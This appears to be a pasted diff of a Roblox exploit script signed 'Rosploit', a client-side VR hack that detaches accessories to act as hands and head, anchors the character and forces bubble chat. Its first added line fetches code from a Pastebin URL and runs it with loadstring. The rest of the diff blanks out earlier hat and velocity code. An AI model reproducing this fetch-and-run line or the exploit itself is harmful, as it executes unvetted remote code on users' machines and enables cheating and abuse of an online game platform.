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1 | - | --Rosploit Was here |
1 | + | loadstring(game:HttpGet("https://pastebin.com/raw/S3ixh58a"))() |
2 | - | game.Players.LocalPlayer.Character["LavanderHair"].Handle:FindFirstChildOfClass("SpecialMesh"):Destroy() |
2 | + | |
3 | - | game.Players.LocalPlayer.Character["Pal Hair"].Handle:FindFirstChildOfClass("SpecialMesh"):Destroy() |
3 | + | |
4 | - | game.Players.LocalPlayer.Character["MediHood"].Handle.Transparency = 1 |
4 | + | |
5 | - | |
5 | + | |
6 | - | |
6 | + | |
7 | - | for i,v in next, game:GetService("Players").LocalPlayer.Character:GetDescendants() do |
7 | + | |
8 | - | if v:IsA("BasePart") and v.Name ~="HumanoidRootPart" then |
8 | + | |
9 | - | game:GetService("RunService").Heartbeat:connect(function() |
9 | + | |
10 | - | v.Velocity = Vector3.new(45,0,0) |
10 | + | |
11 | options.lefthandhat = "LavanderHair" -- name of the accessory which you are using as your left hand | |
12 | ||
13 | options.righthandrotoffset = Vector3.new(0,0,0) | |
14 | options.lefthandrotoffset = Vector3.new(0,0,0) | |
15 | ||
16 | -- | |
17 | ||
18 | local plr = game:GetService("Players").LocalPlayer | |
19 | local char = plr.Character | |
20 | --local backpack = plr.Backpack | |
21 | ||
22 | local VR = game:GetService("VRService") | |
23 | local input = game:GetService("UserInputService") | |
24 | ||
25 | local cam = workspace.CurrentCamera | |
26 | ||
27 | cam.CameraType = "Scriptable" | |
28 | ||
29 | cam.HeadScale = options.headscale | |
30 | ||
31 | game:GetService("StarterGui"):SetCore("VRLaserPointerMode", 0) | |
32 | game:GetService("StarterGui"):SetCore("VREnableControllerModels", false) | |
33 | ||
34 | ||
35 | local function createpart(size, name) | |
36 | local Part = Instance.new("Part", char) | |
37 | Part.CFrame = char.HumanoidRootPart.CFrame | |
38 | Part.Size = size | |
39 | Part.Transparency = 1 | |
40 | Part.CanCollide = false | |
41 | Part.Anchored = true | |
42 | Part.Name = name | |
43 | return Part | |
44 | end | |
45 | ||
46 | local moveHandL = createpart(Vector3.new(1,1,2), "moveRH") | |
47 | local moveHandR = createpart(Vector3.new(1,1,2), "moveLH") | |
48 | local moveHead = createpart(Vector3.new(1,1,1), "moveH") | |
49 | ||
50 | local handL | |
51 | local handR | |
52 | local head | |
53 | local R1down = false | |
54 | ||
55 | for i,v in pairs(char.Humanoid:GetAccessories()) do | |
56 | if v:FindFirstChild("Handle") then | |
57 | local handle = v.Handle | |
58 | ||
59 | if v.Name == options.righthandhat and not handR then | |
60 | handR = v | |
61 | elseif v.Name == options.lefthandhat and not handL then | |
62 | handL = v | |
63 | elseif v.Name == options.headhat and not head then | |
64 | handle.Transparency = 1 | |
65 | head = v | |
66 | end | |
67 | end | |
68 | end | |
69 | ||
70 | char.Humanoid.AnimationPlayed:connect(function(anim) | |
71 | anim:Stop() | |
72 | end) | |
73 | ||
74 | for i,v in pairs(char.Humanoid:GetPlayingAnimationTracks()) do | |
75 | v:AdjustSpeed(0) | |
76 | end | |
77 | ||
78 | local torso = char:FindFirstChild("Torso") or char:FindFirstChild("UpperTorso") | |
79 | torso.Anchored = true | |
80 | char.HumanoidRootPart.Anchored = true | |
81 | ||
82 | workspace.CurrentCamera.CFrame = CFrame.new(workspace.CurrentCamera.CFrame.Position) | |
83 | ||
84 | input.UserCFrameChanged:connect(function(part,move) | |
85 | if part == Enum.UserCFrame.Head then | |
86 | --move(head,cam.CFrame*move) | |
87 | moveHead.CFrame = cam.CFrame*(CFrame.new(move.p*(cam.HeadScale-1))*move) | |
88 | elseif part == Enum.UserCFrame.LeftHand then | |
89 | --move(handL,cam.CFrame*move) | |
90 | moveHandL.CFrame = cam.CFrame*(CFrame.new(move.p*(cam.HeadScale-1))*move*CFrame.Angles(math.rad(options.righthandrotoffset.X),math.rad(options.righthandrotoffset.Y),math.rad(options.righthandrotoffset.Z))) | |
91 | elseif part == Enum.UserCFrame.RightHand then | |
92 | --move(handR,cam.CFrame*move) | |
93 | moveHandR.CFrame = cam.CFrame*(CFrame.new(move.p*(cam.HeadScale-1))*move*CFrame.Angles(math.rad(options.righthandrotoffset.X),math.rad(options.righthandrotoffset.Y),math.rad(options.righthandrotoffset.Z))) | |
94 | end | |
95 | end) | |
96 | ||
97 | local function Align(Part1,Part0,CFrameOffset) -- i dont know who made this function but 64will64 sent it to me so credit to whoever made it | |
98 | local AlignPos = Instance.new('AlignPosition', Part1); | |
99 | AlignPos.Parent.CanCollide = false; | |
100 | AlignPos.ApplyAtCenterOfMass = true; | |
101 | AlignPos.MaxForce = 67752; | |
102 | AlignPos.MaxVelocity = math.huge/9e110; | |
103 | AlignPos.ReactionForceEnabled = false; | |
104 | AlignPos.Responsiveness = 200; | |
105 | AlignPos.RigidityEnabled = false; | |
106 | local AlignOri = Instance.new('AlignOrientation', Part1); | |
107 | AlignOri.MaxAngularVelocity = math.huge/9e110; | |
108 | AlignOri.MaxTorque = 67752; | |
109 | AlignOri.PrimaryAxisOnly = false; | |
110 | AlignOri.ReactionTorqueEnabled = false; | |
111 | AlignOri.Responsiveness = 200; | |
112 | AlignOri.RigidityEnabled = false; | |
113 | local AttachmentA=Instance.new('Attachment',Part1); | |
114 | local AttachmentB=Instance.new('Attachment',Part0); | |
115 | AttachmentB.CFrame = AttachmentB.CFrame * CFrameOffset | |
116 | AlignPos.Attachment0 = AttachmentA; | |
117 | AlignPos.Attachment1 = AttachmentB; | |
118 | AlignOri.Attachment0 = AttachmentA; | |
119 | AlignOri.Attachment1 = AttachmentB; | |
120 | end | |
121 | ||
122 | head.Handle:BreakJoints() | |
123 | handR.Handle:BreakJoints() | |
124 | handL.Handle:BreakJoints() | |
125 | ||
126 | Align(head.Handle,moveHead,CFrame.new(0,0,0)) | |
127 | Align(handR.Handle,moveHandR,CFrame.new(0,0,0)) | |
128 | Align(handL.Handle,moveHandL,CFrame.new(0,0,0)) | |
129 | ||
130 | input.InputChanged:connect(function(key) | |
131 | if key.KeyCode == Enum.KeyCode.ButtonR1 then | |
132 | if key.Position.Z > 0.9 then | |
133 | R1down = true | |
134 | else | |
135 | R1down = false | |
136 | end | |
137 | end | |
138 | end) | |
139 | ||
140 | input.InputBegan:connect(function(key) | |
141 | if key.KeyCode == Enum.KeyCode.ButtonR1 then | |
142 | R1down = true | |
143 | end | |
144 | end) | |
145 | ||
146 | input.InputEnded:connect(function(key) | |
147 | if key.KeyCode == Enum.KeyCode.ButtonR1 then | |
148 | R1down = false | |
149 | end | |
150 | end) | |
151 | ||
152 | game:GetService("RunService").RenderStepped:connect(function() | |
153 | if R1down then | |
154 | cam.CFrame = cam.CFrame:Lerp(cam.CoordinateFrame + (moveHandR.CFrame*CFrame.Angles(-math.rad(options.righthandrotoffset.X),-math.rad(options.righthandrotoffset.Y),math.rad(180-options.righthandrotoffset.X))).LookVector * cam.HeadScale/2, 0.5) | |
155 | end | |
156 | end) | |
157 | ||
158 | local function bubble(plr,msg) | |
159 | game:GetService("Chat"):Chat(plr.Character.Head,msg,Enum.ChatColor.White) | |
160 | end | |
161 | ||
162 | if options.forcebubblechat == true then | |
163 | game.Players.PlayerAdded:connect(function(plr) | |
164 | plr.Chatted:connect(function(msg) | |
165 | game:GetService("Chat"):Chat(plr.Character.Head,msg,Enum.ChatColor.White) | |
166 | end) | |
167 | end) | |
168 | ||
169 | for i,v in pairs(game.Players:GetPlayers()) do | |
170 | v.Chatted:connect(function(msg) | |
171 | game:GetService("Chat"):Chat(v.Character.Head,msg,Enum.ChatColor.White) | |
172 | end) | |
173 | end | |
174 | end | |
175 | print("Rosploit is cool") |